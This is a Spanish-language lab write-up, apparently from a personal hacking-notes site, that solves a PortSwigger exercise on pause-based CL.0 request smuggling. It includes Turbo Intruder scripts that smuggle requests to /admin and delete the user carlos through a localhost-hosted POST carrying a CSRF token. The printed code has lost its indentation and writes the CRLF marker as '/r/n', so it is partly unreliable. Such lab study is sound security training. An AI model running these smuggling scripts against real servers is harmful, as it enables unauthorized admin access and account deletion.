> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/server-side-pause-based-request-smuggling.md).
# Contrabando de solicitudes del lado del servidor basado en pausas
### Secuestro de solicitudes basado en pausas del lado del servidor
El laboratorio es vulnerable a un ataque de secuestro de solicitudes del lado del servidor basado en pausas. El servidor frontal transmite solicitudes al servidor interno continuamente, y el servidor interno no cierra la conexión después de un retraso de inactividad en algunos endpoints.
Para resolver el laboratorio:
* Identificar un vector de desincronización **CL.0** basado en una pausa,
* Inyecta una solicitud al servidor interno para acceder al panel de administración **/admin**,
* Luego elimina al usuario **carlos**.
**Nota**/ Algunas vulnerabilidades como estas no pueden explotarse con las herramientas nativas de Burp. Es necesario usar la **Turbo Intruder** extensión.
#### **Punto vulnerable: `/resources`**
Al enviar una solicitud a `/resources` e insertar una pausa larga (61 segundos), se puede provocar una desincronización entre el front-end y el back-end:
```http
POST /resources HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
GET /error HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
```
Para explotar este comportamiento, usamos **Turbo Intruder**.
#### **Script base**
El script predeterminado se modifica para insertar una pausa de **61 000 ms** después de enviar el marcador (`pauseMarker`), de modo que la segunda solicitud se inyecte después del retraso:
El análisis muestra que dos solicitudes llegan al back-end después de unos **62 segundos**, lo que confirma la vulnerabilidad.
```python
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False,
)
attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
%s"""
smuggled_request = """GET /error HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
engine.queue(normal_request)
def handleResponse(req, interesting):
table.add(req)
```
#### **Inyección hacia `/admin/`**
Adaptando la solicitud inyectada al panel de administración:
```http
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False,
)
attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
%s"""
smuggled_request = """GET /admin/ HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
engine.queue(normal_request)
def handleResponse(req, interesting):
table.add(req)
```
El servidor interno responde con **Encontrado**, lo que demuestra que se ha forzado el acceso de administrador.
#### **Eliminación del usuario Carlos**
Para eludir la protección CSRF, el host de la solicitud inyectada se modifica a **localhost**, incluyendo el cuerpo POST con el token capturado:
```http
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False,
)
attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
%s"""
smuggled_request = """POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 53
csrf=Re4MnOmcNv3hE8gobZocHnS9vcwce2sc&username=carlos
"""
normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nPOST'], pauseTime=61000)
engine.queue(normal_request)
def handleResponse(req, interesting):
table.add(req)
```
La inyección provoca que el POST se inyecte en el servidor interno, lo que elimina al usuario **carlos**.
---
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